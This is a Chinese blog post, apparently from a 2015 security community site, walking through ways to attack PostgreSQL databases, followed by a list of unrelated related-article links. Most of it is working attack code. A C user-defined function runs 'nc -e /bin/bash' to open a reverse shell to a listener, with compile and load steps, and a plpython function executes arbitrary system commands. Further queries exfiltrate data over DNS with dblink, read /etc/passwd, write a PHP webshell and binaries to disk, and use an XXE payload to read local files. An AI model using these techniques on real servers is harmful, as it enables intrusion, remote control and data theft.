Ricter · 2015/06/04 10:16

这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法。

0x01 SQL 注入


大体上和 MySQL 差不多,有一些变量不一样。具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet。
此外,利用 sqlmap 也是一个不错的方式。

0x02 执行命令


C

sqlmap 给出的几个 UDF 在我本地测试并不成功,所以最好的方法是自己编译一个动态链接库。
根据官方文档,我们要定义一个 PG_MODULE_MAGIC。在 PostgreSQL 这个是为了 Postgresql 的安全机制(大概?),在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错:

ERROR:  incompatible library "xxx.so": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.
复制代码

执行系统命令的动态链接库源码为:

#!c++
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endiftext *exec()
{system("nc -e /bin/bash 10.211.55.2 9999");
}
复制代码

利用如下命令编译 .so 文件:

#!bash
gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so
复制代码

在 pgsql 里执行:

#!sql
CREATE OR REPLACE FUNCTION exec()  RETURNS text AS  '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();
复制代码

监听的 9999 端口得到一个 shell:

Python

默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过:

#!bash
apt-get install postgresql-plpython-9.1
复制代码

进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。
安装完成后,首先是创建一个 UDF 来执行我们要执行的命令:

#!sql
CREATE FUNCTION system (a text)RETURNS text
AS $$import osreturn os.popen(a).read()
$$ LANGUAGE plpython2u;
复制代码

其中的 plpython2u 可以利用如下语句获取:

select * from pg_language;
复制代码

我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。

创建好 UDF 后,直接调用如下语句即可:

#!sql
select system('ls -la');
复制代码

此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。

文档地址:www.postgresql.org/docs/8.2/st…

0x03 DNS 请求获取数据


同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。用到的一个扩展叫做 dblink,可以通过如下命令开启:

#!sql
CREATE EXTENSION dblink
复制代码

接着运行如下语句,获取当前数据库用户名称:

#!sql
SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
复制代码

远程获取到请求内容:

0x04 读写文件


PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的:

#!sql
CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd';
SELECT * FROM temptable limit 1 offset 0;
复制代码

读取结束后:

#!sql
DROP TABLE temptable;
复制代码

写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。
写 webshell 十分简单,利用:

#!php
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
复制代码

即可写一个文件。
根据疯狗的这一篇帖子:zone.wooyun.org/content/497…,说是可以利用 PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下:

#!bash
ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378
复制代码

用 COPY 的 FORMAT 位 binary 来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件。
实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段:

#!sql
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);
复制代码

其中每一段都要小于等于 2KB,这样就可以成功写入:

0x05 XXE


老版本的 PostgreSQL 存在 XXE 漏洞。具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day。
大体就是执行语句:

#!sql
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');
复制代码

可以获取一些数据,也可以进行 SSRF 等。不过因为年代很久,可能很多都修复过了,所以作为一个保留方案,可能会有意外的惊喜。

参考


  1. PostgreSQL SQL Injection Cheat Sheet
  2. 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)
  3. PostgreSQL 9.0 Documentation
  4. PostgreSQL (all) error-based XXE 0day

最后,如有错误请不吝赐教。

Hacking PostgreSQL相关推荐

  1. PostgreSQL 优化器代码概览

    简介 PostgreSQL 的开发源自上世纪80年代,它最初是 Michael Stonebraker 等人在美国国防部支持下创建的POSTGRE项目.上世纪末,Andrew Yu 等人在它上面搭建了 ...

  2. PostgreSQL 优化器代码概览 1

    简介 PostgreSQL 的开发源自上世纪80年代,它最初是 Michael Stonebraker 等人在美国国防部支持下创建的POSTGRE项目.上世纪末,Andrew Yu 等人在它上面搭建了 ...

  3. sqlplus导数_GitHub - Erik-Yim/blog: Everything about database,bussiness.(Most for PostgreSQL).

    一.PostgreSQL, Greenplum 学习视频 1.下载链接: http://pan.baidu.com/s/1pKVCgHX (如果链接失效请通知我, 谢谢) 1.1.PostgreSQL ...

  4. PostgreSQL 数据库安全指南

    PostgreSQL 数据库安全指南 TAG 27 , TAG 6 作者 digoal 日期 2015-06-01 标签 PostgreSQL , 数据库安全指南 背景 数据库在一个企业中通常都处于非 ...

  5. 夜天之书 #20 The PostgreSQL Community

    今天对 PostgreSQL 的开发者社区做了一个概要式的分析,这里做一个总结. PG 社区经过二十五年的发展,早已积累了海量的最佳实践,大多可以从 PG 的维基页面[1]上找到.这篇文章不会覆盖所有 ...

  6. 计算机编程课程顺序_430道免费的在线编程和计算机科学课程,您可以在11月开始...

    计算机编程课程顺序 Six years ago, universities like MIT and Stanford first opened up free online courses to t ...

  7. sql盲注 解决_sql盲注-和sql盲注相关的内容-阿里云开发者社区

    <白帽子讲WEB安全>学习笔记之第7章 注入攻击 第7章 注入攻击 SQL注入的两个条件:1,用户可以控制输入:2,原本执行的SQL语句并接了用户输入的数据. 7.1 sql注入 SQL注 ...

  8. 这有300+门刚刚开课的编程计算机科学免费课程大集合

    作者:Dhawal Shah 编译:Chloe,元元,田奥 五年前,一些大学比如麻省理工和斯坦福,首次向公众开放免费线上课程.今天,全世界超过700所学校共开放了数以千计的免费线上课程. 我汇总了一份 ...

  9. 黑客常用端口漏洞利用

    文章目录 21端口渗透剖析 22端口渗透剖析 23端口渗透剖析 25/465端口渗透剖析 53端口渗透剖析 80端口渗透剖析 135端口渗透剖析 139/445端口渗透剖析 1433端口渗透剖析 15 ...

最新文章

  1. CVPR2020 论文解读:少点目标检测
  2. 如何快速优雅的在CSDN输入公式?
  3. Python的运算符与表达式
  4. phpstudy后门漏洞复现
  5. 智能贴图样机素材在手,海报逼格马上就有!
  6. mysql日志打开_MySql 打开日志文件
  7. Dynamic Web Module to 3.0 报错
  8. 草图大师su安装程序无法进行的解决办法。
  9. [原创]电路仿真设计multisim 14安装,破解,汉化教程
  10. math_等式不等式:平方开根号绝对值绝对值不等式放缩基本不等式均值不等式_一元二次方程复根
  11. python 新闻分类_python实现简单的新闻文章归类
  12. @repository注解
  13. 巴比特CEO王雷:未来几年会迎来区块链企业上市小高潮,或将诞生万亿级企业...
  14. 算法:一只青蛙一次可以跳上1级台阶,也可以跳上2级.求该青蛙跳上一个n级的台阶总共有多少种跳法.
  15. 荒野行动一直在获取服务器信息,荒野行动取得服务器信息一直不动 服务器信息0处理办法...
  16. FireFox下载时文件名乱码问题解决
  17. 计划测试系列(一)--万事开头难
  18. 全球及中国仓储产业竞争发展趋向与营运能力研究报告2022版
  19. [第3课] 象形统计图
  20. IHE那些事儿(2)

热门文章

  1. UA OPTI544 量子光学9 2-level system approximation的向量模型
  2. 视觉与图像系列 几何光学I 近轴光学1 Fermat原理
  3. 网页视频播放开发总结
  4. 图解TC++3.0开发教程
  5. [JLOI 2012]树
  6. ORACLE 内部原理
  7. 杨辉三角(下三角或者等腰三角)
  8. MFC遍历窗体所有的控件
  9. linux cat 命令详解
  10. recycleview 嵌套高度问题_简单解决RecyclerView嵌套的RecyclerView条目显示不全和宽度不能铺满...